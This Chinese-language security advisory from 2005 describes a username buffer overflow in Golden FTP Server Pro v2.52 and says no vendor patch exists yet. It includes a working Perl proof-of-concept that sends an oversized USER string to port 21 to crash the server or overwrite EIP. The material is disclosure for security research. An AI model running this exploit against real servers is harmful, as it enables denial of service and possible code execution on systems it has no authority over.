发布日期：2005-04-28
更新日期：2005-04-28

受影响系统：

KMiNT21 Golden FTP Server Pro v2.52

描述：

---

Golden FTP Server是一款非常易用的Windows平台FTP服务器。

如果向FTP服务器发送超长的用户名参数的话，就可能导致在完成USER/PASS登陆序列后覆盖EIP寄存器，这样管理员在浏览服务器统计时FTP就会崩溃或执行代码，具体取决于用户名的值。

<*来源：Reed Arvin （reedarvin@gmail.com）
  
  链接：http://marc.theaimsgroup.com/?l=bugtraq&m=111464565108186&w=2
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

#===== Start GoldenFTPServer_Overflow.pl =====
#
# Usage: GoldenFTPServer_Overflow.pl <ip>
#        GoldenFTPServer_Overflow.pl 127.0.0.1
#
# KMiNT21 Software Golden FTP Server Pro v2.52 (10.04.2005)
#
# Download:
#
##############################################################

use IO::Socket;
use strict;

my($socket) = "";

if ($socket = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                    PeerPort => "21",
                    Proto    => "TCP"))
{
    print "Attempting to kill Golden FTP Server at $ARGV[0]:21...";

    sleep(1);

    print $socket "USER " . "A" x 332 . "BBBB\r\n";

    sleep(1);

    print $socket "PASS " . "\r\n";

    close($socket);
}
else
{
    print "Cannot connect to $ARGV[0]:21\n";
}
#===== End GoldenFTPServer_Overflow.pl =====

建议：

---

厂商补丁：

KMiNT21
-------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www[dot]goldenftpserver[dot]com/

浏览次数：4213
严重程度：0（网友投票）